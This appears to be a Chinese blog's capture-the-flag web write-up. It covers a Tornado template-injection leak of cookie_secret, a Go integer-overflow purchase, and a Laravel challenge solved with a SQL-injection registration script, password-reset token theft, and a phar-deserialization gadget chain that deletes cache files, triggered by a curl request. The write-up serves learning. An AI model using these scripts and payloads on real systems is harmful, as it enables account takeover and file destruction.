Facebook Twitter Linkedin YouTube VK Xing

互网杯webwp

太多没打过的东西了,一道tornado,一道java的fastjson反序列化,一道go的溢出…还有一道很难但是出的很好的php…

参考:http://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/
https://xz.aliyun.com/t/2912

easy tornado

进去发现三个链接,对应三个文件

http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a


Orz.txt 
render()

http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1


hint.txt 
md5(cookie_secret + md5(filename))

http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72


flag.txt 
/fllllllllllag

访问文件需要签名,签名需要cookie_secret
尝试删掉签名,爆了error

http://49.4.78.81:30980/error?msg=xxx

猜想ssti,试了一下7*7,发现过滤了*
简单fuzz一下,发现过滤了一堆字符,拿到shell是不大可能了,看能不能读到cookie_secret吧

后续测试一下,发现可以用handler和request.去看tornado源码https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

尝试访问{{handler.settings}},然后拿到cookie_secret
构造签名访问flag即可

ltshop

go写的,算是学习了吧,go的int64存在溢出

http://www.it1352.com/808569.html

首先只有20块,条件竞争发包拿到5个以上辣条,然后flag需要99999999个大辣条,这肯定不够,猜想代码逻辑

if(da_la_tiao * 5 <= user_latiao)
{
    success
}

else
{
    fail
}

构造溢出

我们填3689348814741910324,那么算的时候3689348814741910324 * 5溢出,数值小于我们辣条数量,兑换成功,那么直接去换flag就ok

easy_web

java题…
后续可能专门写一篇博客,看情况了….
然后天枢的wp

sky的wp

Easy-Laravel

源码泄漏

<!-- code: https://github.com/qqqqqqvq/easy_laravel -->

虽然已经没有这个仓库了,我们可以去官方仓库看源码

注入

note存在注入

注册的用户名没有限制,自己跑就好,这里我写了个脚本

#!/usr/bin/env python3
# coding=utf-8

import requests
import re
import random

init_num = random.randint(1,100000000000000)
u = requests.session()

while 1:
    init_num += 1
    username = "admin' union select 1,(" + input('input:') + '),3,4,5#'

    r = u.get('http://127.0.0.1/register')
    token = re.findall('name="_token" value="([^"]+)"', r.text)
    email = str(init_num) + '@qq.com'
    data = {
        '_token' : token[0],
        'name' : username,
        'email' : email,
        'password' : email,
        'password_confirmation' : email
    }
    r = u.post('http://127.0.0.1/register', data = data)
    r = u.get('http://127.0.0.1/note')
    text = re.findall('<div class="col-xs-10">([^<]+)</div>', r.text)
    print(text)
    u.post('http://127.0.0.1/logout', data = {'_token' : token})

不过好像不能用information_schema,那么就直接查看数据库里面有什么东西

读一下密码

input:select password from users limit 0,1
[' $2y$10$rY8DAmSEJ99Au5pL.vCQ2eGdAAUek/hGMm.trPDpgK6KBAvddiy32 ']

似乎并不能解,那么怎么办呢,我们可以看到前面还有密码重置,我们去重置密码

重置密码

直接reset页面重置会报错

然后这里学习了一下laravel…
首先www目录有一个composer.json,那我们先

composer install

然后php artisan route:list

我们可以看到有个password/reset/{token}
这里其实是出题人设计过的

这里是直接把生成出来的token写入了数据库中,所以我在开头放了一个注入,本意就是注入出这个token去重置admin@qvq.im的密码,可是好像很多人都被users表里的remember_token误导了,这也是使用 Laravel 5.4的原因,在高于5.4的版本中,重置密码这个 token 会被 bcrypt 再存入,就和用户密码一样

先发送一下链接,然后读token

登录成功

按道理来说现在查看flag就应该拿到flag了,但是并没有

结合题目提示

blade expired
pop chain
blade模板

blade模板

https://www.jianshu.com/p/7d65f9eb94be

blade是laravel的一个模板引擎.它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。
所以我们这的思路很清晰:
1.因为旧的缓存存在,导致我们看不到flag
2.我们可以利用pop chain删掉缓存文件
3.读到flag

它的模板文件放在了resources/views下面

root@be1168dd87c7:/usr/share/nginx/html/resources/views# ls -lsa
total 44
4 drwxr-xr-x 6 root root 4096 Oct 17 17:45 .
4 drwxr-xr-x 5 root root 4096 Oct 17 17:45 ..
4 drwxr-xr-x 3 root root 4096 Oct 17 17:45 auth
4 drwxr-xr-x 2 root root 4096 Oct 17 17:45 errors
4 -rw-r--r-- 1 root root 1054 Oct 17 17:45 files.blade.php
4 -rw-r--r-- 1 root root  410 Oct 17 17:45 home.blade.php
4 drwxr-xr-x 2 root root 4096 Oct 17 17:45 layouts
4 -rw-r--r-- 1 root root  558 Oct 17 17:45 note.blade.php
4 -rw-r--r-- 1 root root 1014 Oct 17 17:45 upload.blade.php
4 drwxr-xr-x 3 root root 4096 Oct 17 17:45 vendor
4 -rw-r--r-- 1 root root 2213 Oct 17 17:45 welcome.blade.php

编译之后放在了storage/framework/views

它的过期判断

    public function isExpired($path)
    {
        $compiled = $this->getCompiledPath($path);

        // If the compiled file doesn't exist we will indicate that the view is expired
        // so that it can be re-compiled. Else, we will verify the last modification
        // of the views is less than the modification times of the compiled views.
        if (! $this->files->exists($compiled)) {
            return true;
        }

        $lastModified = $this->files->lastModified($path);

        return $lastModified >= $this->files->lastModified($compiled);
    }

然后存放路径

public function getCompiledPath($path)
    {
        return $this->cachePath.'/'.sha1($path).'.php';
    }

cachePath在哪呢?前面的提示

nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么说明路径就是/usr/share/nginx/html
但是要怎么删除呢?

phar反序列化

看到upload的源码

class UploadController extends Controller
{
    public function __construct()
    {
        $this->middleware(['auth', 'admin']);
        $this->path = storage_path('app/public');
    }
    public function index()
    {
        return view('upload');
    }
    public function upload(UploadRequest $request)
    {
        $file = $request->file('file');
        if (($file && $file->isValid())) {
            $allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
            $ext = $file->getClientOriginalExtension();
            if(in_array($ext, $allowed_extensions)){
                $file->move($this->path, $file->getClientOriginalName());
                Flash::success('上传成功');
                return redirect(route('upload'));
            }
        }
        Flash::error('上传失败');
        return redirect(route('upload'));
    }
    public function files()
    {
        $files = array_except(Storage::allFiles('public'), ['0']);
        return view('files')->with('files', $files);
    }

    public function check(Request $request)
    {
        $path = $request->input('path', $this->path);
        $filename = $request->input('filename', null);
        if($filename){
            if(!file_exists($path . $filename)){
                Flash::error('磁盘文件已删除,刷新文件列表');
            }else{
                Flash::success('文件有效');
            }
        }
        return redirect(route('files'));
    }
}

发现check里面用到了file_exists,路径也确定,上传的时候要求为image,改一个头就过了

那么现在就要找一个可以触发删除文件的类

然后我们在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php找到可用类

class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
    public function __construct()
    {
        $filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');

        if ($filePath === false) {
            throw new Swift_IoException('Failed to retrieve temporary file name.');
        }

        parent::__construct($filePath, true);
    }

    public function getContent()
    {
        if (($content = file_get_contents($this->getPath())) === false) {
            throw new Swift_IoException('Failed to get temporary file content.');
        }

        return $content;
    }

    public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}

构造payload

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a);
    $a = preg_replace('/\/tmp\/FileByteStream[a-zA-Z0-9]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
    $a = str_replace('s:25', 's:90', $a);
    $b = unserialize($a);
    var_dump($b);
    $p = new Phar('./blacsheep.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('blacsheep.phar', 'blacsheep.gif')
?>

传上去之后curl来check一下触发删除

blacsheep@kali:/home/blacsheep  $ curl -X POST --data "path=phar:///usr/share/nginx/html/storage/app/public&filename=/blacsheep.gif&_token=H1zLI745JltuZPTvk19zfm0BDzaMScRv4Sghq6bx" --cookie "XSRF-TOKEN=eyJpdiI6IjEydHFndGVRdGFiVU1RdzFjNElIWUE9PSIsInZhbHVlIjoiMUJJYjJYSk5pWGExR1RVVjFOUnBXdVNKckdTMnhxUjdVb1grTytJMW1uUGo1NmlGY0FJSXpiRlBCb2hmRXFmR0lYYm1RdG55V2RJUVB1eU5iNkFOQ3c9PSIsIm1hYyI6IjYxMjVhNDE1NjAyZjJkMDViZDQyYTRjYjc4Y2YzNTUxY2Y0MWUxNjAzODZiNzJmNDllYWUzYTRiM2MyZDY1YmMifQ%3D%3D; laravel_session=eyJpdiI6ImtDOEpVMmtNRHVXQlR1SWJER0d4bnc9PSIsInZhbHVlIjoiNURxNUE5REFUT0tvNTVWM1hMYVZZRjQyemdKZ2tTM2pZQ0J6cDNiSkpOTys4QmhjelozQ0lTYmYwa1VyWlA0eTRENkloajBKbVV5aWN6MEpVaTNaWEE9PSIsIm1hYyI6IjZhNDVkMDFlN2M0MDYzODRmM2NlYTBiZDEyMmFhZmQyMGVjMzU5YjQ3ZTc4OTkyZmU5YjRjMjgxMTE1NTk5MWUifQ%3D%3D" 'http://127.0.0.1/check'

拿到flag

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: